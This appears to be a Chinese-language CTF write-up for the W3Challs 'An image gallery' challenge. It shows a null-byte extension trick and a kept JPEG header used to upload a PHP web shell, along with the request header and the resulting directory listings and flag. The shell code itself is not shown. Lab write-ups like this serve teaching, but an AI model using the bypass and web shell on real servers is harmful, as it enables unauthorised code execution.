w3challs web-An image gallery

w3challs web-An image gallery

该题有两个解题关键:

  1. %00截断
  2. 上传一句话木马时注意保留图片头

打开题目页面,是一个图片上传网站,有这样一句提示:

You can upload pictures with the upload formular. Pictures are then stored in the suggestions directory, waiting for the administration's approval.
For security reasons, only jpeg files are accepted.

成功上传图片后,可通过/suggestion/图片进行访问。那么自然而然的想法是上传php文件,然后访问使其执行。
然而上传php文件的时候会发现对上传的文件做了限制:

  1. 文件后缀名
  2. content-type字段

文件后缀名检测的绕过,在此题中用到的是%00截断。如果简单的将文件后缀名改为.jpg,则代码是无法被解析执行的,所以如何在上传时作为jpg绕过检测,而在解析时作为php被执行?
这里利用Burpsuite,将filename字段的文件名改为test.php .jpg,注意php后要跟一空格,这样就可以绕过后缀名检测:

Content-Disposition: form-data; name="upload_file"; filename="test.php .jpg"
Content-Type: image/jpeg

然后在Hex模式中将这一空格的%20改为%00,这样在解析的时候%00后面的会被截断,上传的文件实际会以php被解析执行。

Upload

Upload of pictures

December 2042

The file test.php has been uploaded correctly..


需要注意的是,文件需保留图片头,否则也会上传失败。构造文件内容如下:

...(图片头部)

然后访问:

http://gallery.hax.w3challs.com/suggestions/test.php

会输出suggestions父目录下的文件结构:

total 44 
dr-xr-xr-x 8 root root 4096 Jan 4 12:46 . 
drwxr-xr-x 1 root root 4096 Nov 19 15:30 .. 
-r-xr-xr-- 1 root root 1532 Nov 19 15:21 basic.css 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 css 
dr-xr-xr-x 3 root root 4096 Nov 19 15:21 images 
-r-xr-xr-- 1 root root 3100 Nov 19 15:21 index.php 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 js 
dr-xr-xr-x 2 root root 4096 Nov 19 15:24 lang 
-r-xr-xr-- 1 root root 125 Nov 19 15:21 lang.php 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 omg_secret_wut 
drwxrwx-wx 2 root xfs 4096 Feb 14 01:27 suggestions

看到一个文件夹omg_secret_wut比较可疑,于是修改一句话为:


输出目录为:

total 12 
dr-xr-xr-x 2 root root 4096 Nov 19 15:21 . 
dr-xr-xr-x 8 root root 4096 Jan 4 12:46 .. 
-rw-r--r-- 1 root root 49 Nov 19 15:21 flag

发现flag文件,打印flag内容即可:


输出flag为:

Well done! Flag is W3C{W3lc0m3_t0_y0u_w3b_sh3ll}

你可能感兴趣的:(web,ctf)